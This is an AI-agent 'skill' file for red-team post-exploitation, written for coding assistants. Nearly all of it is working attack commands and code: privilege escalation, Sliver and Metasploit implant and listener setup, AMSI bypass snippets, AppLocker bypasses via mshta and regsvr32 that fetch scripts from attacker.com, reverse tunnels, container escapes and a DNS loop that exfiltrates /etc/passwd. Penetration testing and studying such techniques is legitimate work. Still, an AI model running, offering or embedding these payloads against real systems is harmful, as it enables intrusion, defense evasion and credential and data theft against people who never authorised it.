<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: post-exploitation
description: >-
  Post-exploitation operations including Linux privilege escalation, C2 setup (Sliver,
  Metasploit), AMSI/AV/EDR evasion, AppLocker bypass, LOLBins, network pivoting
  (Chisel, Ligolo-ng), container escape, persistence mechanisms, exfiltration, and
  operational security. Use when asked about privesc, C2, evasion, pivoting, or
  post-exploitation techniques.
domain: cybersecurity
subdomain: red-teaming
tags:
  - post-exploitation
  - privilege-escalation
  - c2
  - sliver
  - metasploit
  - evasion
  - pivoting
  - persistence
  - container-escape
  - opsec
version: "1.1"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1068", "T1055", "T1059", "T1071", "T1090", "T1611"]
  nist-csf: ["DE.CM-1", "DE.CM-4", "DE.AE-1"]
---
# Red Team — Post-Exploitation

## When to Use
Triggered when the operator asks about post-exploitation, Linux privilege escalation,
C2 setup and operation, Sliver C2, Metasploit meterpreter, AMSI bypass, AV/EDR evasion,
obfuscation, LOLBins, living-off-the-land, network pivoting, lateral movement techniques,
container escape, persistence mechanisms, exfiltration, or operational security during
an engagement.

## Quick Reference
- Linux SUID: `find / -perm -4000 2>/dev/null` → check GTFOBins
- Linux sudo: `sudo -l` → NOPASSWD entries → GTFOBins escalation
- Linux capabilities: `getcap -r / 2>/dev/null` → python3 cap_setuid = root
- Linux cron: `cat /etc/cron* /var/spool/cron/crontabs/* 2>/dev/null`
- Sliver listener: `mtls` → `generate --mtls attacker.com --os linux`
- Sliver beacon: `generate beacon --mtls attacker.com --seconds 60 --jitter 30`
- Meterpreter handler: `msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; run"`
- Upgrade shell: `sessions -u -1` or `use multi/manage/shell_to_meterpreter`
- AMSI bypass (PS): `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`
- Network pivot (Chisel): server: `chisel server -p 8080 --reverse`; client: `chisel client attacker:8080 R:socks`
- Ligolo tunnel: server: `proxy -selfcert`; agent: `agent -connect attacker:11601 -ignore-cert`
- Exfil DNS: `for f in $(cat /etc/passwd | base64 | fold -w 30); do dig $f.exfil.attacker.com; done`

## Workflow

### Linux Privilege Escalation

Automated enumeration:
```bash
# LinPEAS (comprehensive)
curl -L /releases/latest/download/linpeas.sh | sh
# LinEnum
wget http://attacker.com/LinEnum.sh -O /tmp/.le.sh && chmod +x /tmp/.le.sh && /tmp/.le.sh
# linux-exploit-suggester
./linux-exploit-suggester.sh
```

SUID/SGID abuse (GTFOBins):
```bash
find / -perm -4000 2>/dev/null
# Common escapes:
# bash: /bin/bash -p
# find: find . -exec /bin/sh -p \; -quit
# vim: vim -c ':!/bin/sh'
# nmap: nmap --interactive → !sh (old versions)
# python: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# awk: awk 'BEGIN {system("/bin/sh")}'
# perl: perl -e 'exec "/bin/sh"'
```

Sudo misconfigurations:
```bash
sudo -l  # list allowed commands
# NOPASSWD + GTFOBins: sudo vim → :!/bin/sh
# NOPASSWD + shell script → write to it if writable
# sudo ENV bypass: sudo LD_PRELOAD=/tmp/evil.so find  # if env_keep+=LD_PRELOAD
```

Capabilities abuse:
```bash
getcap -r / 2>/dev/null
# cap_setuid: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_net_raw: tcpdump, packet capture
# cap_dac_override: read any file
# cap_sys_ptrace: inject into root process
```

Writable PATH and cron exploitation:
```bash
echo $PATH  # check for writable dirs
ls -la $(echo $PATH | tr ':' ' ')  # check permissions
# Cron jobs running as root with relative paths → drop malicious binary in PATH
cat /etc/cron* /var/spool/cron/crontabs/* /etc/anacrontab 2>/dev/null
# Writable script called by cron: append `chmod +s /bin/bash` or add user
```

NFS root squash bypass:
```bash
cat /etc/exports   # check for no_root_squash
# Mount on attacker machine as root, create SUID binary
mount -t nfs target:/shared /mnt/target
cp /bin/bash /mnt/target/privesc && chmod +s /mnt/target/privesc
# On target: /shared/privesc -p
```

Kernel exploits:
```bash
uname -a && cat /proc/version
# linux-exploit-suggester matches kernel version to CVEs
# Common: CVE-2021-4034 (PwnKit/polkit), CVE-2022-0847 (Dirty Pipe), CVE-2016-5195 (DirtyCow)
# PwnKit: ./pwnkit  # instant local root on glibc systems
```

Container escapes:
```bash
# Detect if in container
ls /.dockerenv && cat /proc/1/cgroup | grep docker
# Privileged container escape (SYS_ADMIN capability)
fdisk -l  # see host disks
mkdir /mnt/host && mount /dev/sda1 /mnt/host
chroot /mnt/host  # access host filesystem
# Docker socket escape (docker socket mounted inside container)
ls /var/run/docker.sock && docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# cgroups release_agent (unpatched hosts)
# SYS_PTRACE: inject into host process with nsenter
```

**Anti-pattern:** Skipping automated enumeration before manual checks — linpeas catches 80% of privesc paths in 2 minutes. Run it first; only go manual when automated results are sparse.

### C2 Operations: Sliver

Setup and implant generation:
```bash
# Server (Linux recommended)
curl https://sliver.sh/install | sudo bash
systemctl start sliver
sliver  # start console

# Generate session implant (persistent connection)
generate --mtls attacker.com --os linux --save /tmp/implant

# Generate beacon (async, periodic check-in)
generate beacon --mtls attacker.com --seconds 60 --jitter 30 --os windows --save /tmp/beacon.exe

# Start listener
mtls    # starts mTLS listener on :8888
http    # starts HTTP/HTTPS listener
jobs    # view active listeners
```

Session interaction:
```bash
sessions       # list active sessions
use SESSION_ID  # interact with session
# In session:
ls; pwd; cat /etc/passwd; upload /tmp/payload /etc/cron.d/evil; download /etc/shadow /tmp/
shell          # interactive shell (session mode only)
execute -o -- /bin/bash -c "id"  # run command, capture output
portfwd add -r 127.0.0.1:8080   # TCP port forward through implant
```

Beacon interaction:
```bash
beacons        # list beacons
use BEACON_ID  # interact
ls             # task beacon (async)
interactive    # promote beacon to live session (same C2 protocol)
tasks          # view pending/completed tasks
tasks fetch    # retrieve task output
```

BOF and COFF (in-memory .NET/BOF execution):
```bash
# In session: execute BOF without touching disk
execute-bof /path/to/extension.o -- arg1 arg2
# In-memory .NET assembly
execute-assembly /path/to/SharpHound.exe -- --CollectionMethods All
```

**Anti-pattern:** Using mTLS without domain fronting — mTLS traffic to a raw IP is trivially blocklisted. Use HTTP/HTTPS with domain fronting or a legitimate CDN as redirector for production engagements.

### C2 Operations: Metasploit

```bash
# Start listener
msfconsole -q -x "use multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"
# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f exe -o payload.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f elf -o payload

# In meterpreter session:
sysinfo; getuid; getpid
getsystem           # attempt local privesc via named pipe impersonation
migrate <PID>       # migrate to stable process (explorer.exe)
hashdump            # dump SAM hashes (requires SYSTEM)
run post/windows/gather/credentials/gpp  # GPP password extraction
run post/windows/gather/enum_applications
sessions -u -1      # upgrade shell to meterpreter
# Upgrade via module
use multi/manage/shell_to_meterpreter; set SESSION 1; run
```

**Anti-pattern:** Using `getsystem` immediately after shell — it tries multiple privesc techniques, some noisy (named pipe, token duplication). Identify the best privesc path first; use `getsystem` when named-pipe impersonation (SeImpersonatePrivilege) is the clean path.

### Evasion: AMSI, AV, and EDR

AMSI bypass (PowerShell):
```powershell
# Reflection method (most reliable, often detected itself - obfuscate)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Memory patching via P/Invoke (C# inline in PS)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')
$c=$b.GetValue($null)
[System.Runtime.InteropServices.Marshal]::WriteByte($c, 0x41)

# PowerShell CLM bypass (Constrained Language Mode)
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"  # won't work in strict CLM
# Use MSHTA/WSCRIPT/CSCRIPT to bypass CLM — they run in full language mode
```

AppLocker bypass:
```powershell
# LOLBins that execute code: mshta, regsvr32, rundll32, certutil, bitsadmin, cmstp
# Execute via trusted paths: C:\Windows\System32\, C:\Windows\SysWOW64\
mshta "vbscript:CreateObject(""Wscript.Shell"").Run(""powershell -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"",0,True)(window.close)"
regsvr32 /s /n /u /i:http://attacker.com/evil.sct scrobj.dll  # Squiblydoo
# Writable directories: C:\Windows\Tasks, C:\Windows\Temp (check per environment)
```

AV/EDR evasion techniques:
```bash
# Static: obfuscation, encryption, packing
# Dynamic: API unhooking (direct syscalls), ETW patching, process hollowing
# Loader pipeline: download XOR-encrypted shellcode, decrypt in memory, inject via CreateRemoteThread/VirtualAllocEx
# ThreatCheck: identify detected signature bytes
ThreatCheck.exe -f payload.ps1 -e Defender
# Identify flagged section, split/reorder code to break signature
# Invoke-Obfuscation: PowerShell tokenizer-based obfuscation
Import-Module Invoke-Obfuscation; Invoke-Obfuscation
```

ETW and WDEG:
```bash
# ETW patch (prevents .NET assembly events from being logged)
# Patch EtwEventWrite to return immediately (in-memory)
# SilentBreak: disable WMI subscription-based detections
```

**Anti-pattern:** Using the same obfuscation payload twice — EDR vendors share signatures. Generate unique payloads per engagement. Use ThreatCheck to verify no static signatures before deployment.

### Network Pivoting and Tunneling

Chisel (TCP/SOCKS tunnel over HTTP):
```bash
# Attacker server
./chisel server -p 8080 --reverse --socks5
# Victim client (outbound HTTP to attacker)
./chisel client attacker.com:8080 R:socks  # SOCKS5 on attacker:1080
./chisel client attacker.com:8080 R:3389:192.168.1.1:3389  # specific port forward
# Configure proxychains: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.1.0/24  # scan through tunnel
```

Ligolo-ng (TUN/TAP based, faster than SOCKS):
```bash
# Attacker proxy
./proxy -selfcert -laddr 0.0.0.0:11601
# Victim agent (connects to attacker)
./agent -connect attacker.com:11601 -ignore-cert

## Advanced Techniques

See `references/advanced-techniques.md` for persistence mechanisms,
defense evasion, and data exfiltration techniques.

## Verification

- [ ] All attack techniques tested within authorized scope
- [ ] Findings documented with evidence and MITRE ATT&CK mapping
- [ ] Cleanup completed — all artifacts removed
- [ ] Detection opportunities noted for blue team
